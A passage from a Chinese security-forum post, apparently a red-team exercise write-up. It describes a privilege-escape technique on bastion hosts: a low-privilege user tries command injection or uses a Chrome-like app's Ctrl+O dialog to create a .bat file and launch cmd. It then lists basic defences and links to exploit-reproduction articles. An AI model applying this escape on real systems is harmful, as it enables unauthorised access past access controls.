2 . 普 通 用 户 获 取 堡 垒 机 权 限 ,   登 录 之 后 可 尝 试 命 令 注 入 如 果 有 类 似 c h r o m e 的 应 用 可 以 直 接 使 用 c t r l + o 打 开 窗 口 ,   然 后 新 建 b a t ,   起 一 个 c m d 或 者 其 他 的 程 序 8 .   防 护 方 法 防 护 方 法 1 . 及 时 更 新 补 丁 2 . 升 级 到 最 新 版 3 . 做 好 权 限 控 制 - 参 考 参 考 - 2 0 2 0 攻 防 演 练 弹 药 库 S a l t S t a c k 认 证 绕 过 复 现 C V E - 2 0 2 0 - 1 3 5 0 分 析 与 复 现 【 看 雪 论 坛 】 往 期 文 章 推 荐 ： 2 0 2 0 H W 小 技 巧 总 结 （ 献 上 本 人 收 藏 多 年 的 子 域 名 字 典 ） 2 0 2 0 H W 红 方 漏 洞 利 用 总 结 （ 一 ） h v v 最 新 情 报 红 队 防 猝 死 手 册 红 队 渗 透 手 册 之 信 息 收 集 篇 H W 演 习 前 的 自 我 信 息 排 查 渗 透 测 试   |   内 网 信 息 收 集
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理